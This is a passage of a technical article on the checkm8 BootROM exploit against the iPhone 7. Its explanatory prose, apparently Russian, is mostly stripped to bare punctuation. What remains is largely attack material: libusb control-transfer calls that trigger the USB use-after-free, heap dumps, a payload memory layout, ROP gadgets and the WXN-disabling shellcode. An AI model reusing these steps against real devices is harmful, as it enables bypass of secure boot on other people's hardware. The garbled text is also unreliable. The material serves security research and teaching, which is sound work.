00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9640 // zlps[1] 0x80 non-free 0x180 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x96c0 // descs[0], Nonce 0x140 non-free 0x80 0 00000000: EA 03 20 00 4E 00 4F 00 4E 00 43 00 3A 00 35 00 .. .NONC:.5. 00000010: 35 00 46 00 38 00 43 00 41 00 39 00 37 00 41 00 5.F.8.CA9.7.A. 00000020: 46 00 45 00 36 00 30 00 36 00 43 00 39 00 41 00 FE6.0.6.C.9.A. 00000030: 41 00 31 00 31 00 32 00 44 00 38 00 42 00 37 00 A.1.1.2.D.8.B.7. 00000040: 43 00 46 00 33 00 35 00 30 00 46 00 42 00 36 00 CF3.5.0.FB6. 00000050: 35 00 37 00 36 00 43 00 41 00 41 00 44 00 30 00 5.7.6.CAAD0. 00000060: 38 00 43 00 39 00 35 00 39 00 39 00 34 00 41 00 8.C.9.5.9.9.4.A. 00000070: 46 00 32 00 34 00 42 00 43 00 38 00 44 00 32 00 F.2.4.BC8.D.2. 00000080: 36 00 37 00 30 00 38 00 35 00 43 00 31 00 20 00 6.7.0.8.5.C.1. . 00000090: 53 00 4E 00 4F 00 4E 00 3A 00 42 00 42 00 41 00 SNON:.BBA 000000A0: 30 00 41 00 36 00 46 00 31 00 36 00 42 00 35 00 0.A.6.F.1.6.B.5. 000000B0: 31 00 37 00 45 00 31 00 44 00 33 00 39 00 32 00 1.7.E.1.D.3.9.2. chunk at 0x9800 // descs[1], Manufacturer 0x80 non-free 0x140 0 00000000: 16 03 41 00 70 00 70 00 6C 00 65 00 20 00 49 00 ..Apple .I. 00000010: 6E 00 63 00 2E 00 D6 D7 D8 D9 DA DB DC DD DE DF nc............ 00000020: E0 E1 E2 E3 E4 E5 E6 E7 E8 E9 EA EB EC ED EE EF ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9880 // descs[2], Product 0x80 non-free 0x80 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x9900 // descs[3], Serial number 0x140 non-free 0x80 0 00000000: C6 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9a40 // zlps[0] 0x80 non-free 0x140 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 96 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9ac0 0x46540 free 0x80 0 00000000: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
, High Speed
Full Speed
, IO
-. , , , . , .
2. IO-
device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device)
OUT
- . , io_buffer
. DFU
DFU_CLR_STATUS
, DFU
.
3. usb_device_io_request
use-after-free
device = dfu.acquire_device() device.serial_number stall(device) leak(device) leak(device) libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50)
usb_device_io_request
t8010_overwrite
, .
t8010_nop_gadget
0x1800B0800
callback
next
usb_device_io_request
.
t8010_nop_gadget
, , LR
, - free
callback
- usb_core_complete_endpoint_io
. , , .
bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] // restore fp, lr bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET
next
INSECURE_MEMORY + 0x800
. INSECURE_MEMORY
, 0x800
callback-chain
, .
4.
for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50)
. :
0x1800B0000: t8010_shellcode # shell-code ... 0x1800B0180: t8010_handler # usb- ... 0x1800B0400: 0x1000006a5 # # SecureROM (0x100000000 -> 0x100000000) # ... 0x1800B0600: 0x60000180000625 # # SecureRAM (0x180000000 -> 0x180000000) # 0x1800B0608: 0x1800006a5 # # 0x182000000 0x180000000 # 0x1800B0610: disabe_wxn_arm64 # WXN 0x1800B0800: usb_rop_callbacks # callback-chain
5. callback-chain
dfu.usb_reset(device) dfu.release_device(device)
USB
usb_device_io_request
. , callback
. :
bootrom:000000010000CC4C LDP X8, X10, [X0,#0x70] ; X0 - usb_device_io_request pointer; X8 = arg0, X10 = call address bootrom:000000010000CC50 LSL W2, W2, W9 bootrom:000000010000CC54 MOV X0, X8 ; arg0 bootrom:000000010000CC58 BLR X10 ; call bootrom:000000010000CC5C CMP W0, #0 bootrom:000000010000CC60 CSEL W0, W0, W19, LT bootrom:000000010000CC64 B loc_10000CC6C bootrom:000000010000CC68 ; --------------------------------------------------------------------------- bootrom:000000010000CC68 bootrom:000000010000CC68 loc_10000CC68 ; CODE XREF: sub_10000CC1C+18âj bootrom:000000010000CC68 MOV W0, #0 bootrom:000000010000CC6C bootrom:000000010000CC6C loc_10000CC6C ; CODE XREF: sub_10000CC1C+48âj bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET
, 0x70
. f(x)
f
x
.
, Unicorn Engine
. uEmu .

iPhone 7
.
5.1. dc_civac 0x1800B0600
000000010000046C: SYS #3, c7, c14, #1, X0 0000000100000470: RET
. , .
5.2. dmb
0000000100000478: DMB SY 000000010000047C: RET
, , . , , .
5.3. enter_critical_section()
.
5.4. write_ttbr0(0x1800B0000)
00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET
TTBR0_EL1
0x1800B0000
. INSECURE MEMORY
, . , :
... 0x1800B0400: 0x1000006a5 0x100000000 -> 0x100000000 (rx) ... 0x1800B0600: 0x60000180000625 0x180000000 -> 0x180000000 (rw) 0x1800B0608: 0x1800006a5 0x182000000 -> 0x180000000 (rx) ...
5.5. tlbi
0000000100000434: DSB SY 0000000100000438: SYS #0, c8, c7, #0 000000010000043C: DSB SY 0000000100000440: ISB 0000000100000444: RET
, .
5.6. 0x1820B0610 - disable_wxn_arm64
MOV X1, #0x180000000 ADD X2, X1, #0xA0000 ADD X1, X1, #0x625 STR X1, [X2,#0x600] DMB SY MOV X0, #0x100D MSR SCTLR_EL1, X0 DSB SY ISB RET
WXN
(Write permission implies Execute-never), RW
. WXN
- .
5.7. write_ttbr0(0x1800A0000)
00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET
TTBR0_EL1
. BootROM
, INSECURE_MEMORY
.
5.8. tlbi
.
5.9. exit_critical_section()
.
5.10. 0x1800B0000
shellcode
.
, callback-chain
â WXN
shellcode
RW
-.
6. shellcode
shellcode
src/checkm8_arm64.S
:
6.1. USB
-
usb_core_hs_configuration_descriptor
usb_core_fs_configuration_descriptor
, . . USB
-, shellcode
.
6.2. USBSerialNumber
- , " PWND:[checkm8]"
. , .
6.3. USB
-
USB
- , .
6.4. USB
- TRAMPOLINE
( 0x1800AFC00
)
USB
- wValue
0xffff
, , . , : memcpy
, memset
exec
( ).
.
USB
Proof-of-Concept checkm8
Arduino
Usb Host Shield
. PoC iPhone 7
, . iPhone 7
DFU
Usb Host Shield
, PWND:[checkm8]
, USB
- ipwndfu ( , - ..). , , USB
-. USB_Host_Shield_2.0 . , patch- .
. checkm8
. , . jailbreak-. , jailbreak checkm8
â checkra1n . , jailbreak ( A5
A11
) iOS
. iWatch
, Apple TV
. , .
jailbreak, Apple. checkm8
verbose- iOS
, SecureROM
GID
- . , , JTAG/SWD . , , . , checkm8
, Apple
.
Les références
- Jonathan Levin, *OS Internals: iBoot
- Apple, iOS Security Guide
- littlelailo, apollo.txt
- usb.org
- USB in a NutShell
- ipwndfu
- ipwndfu LinusHenze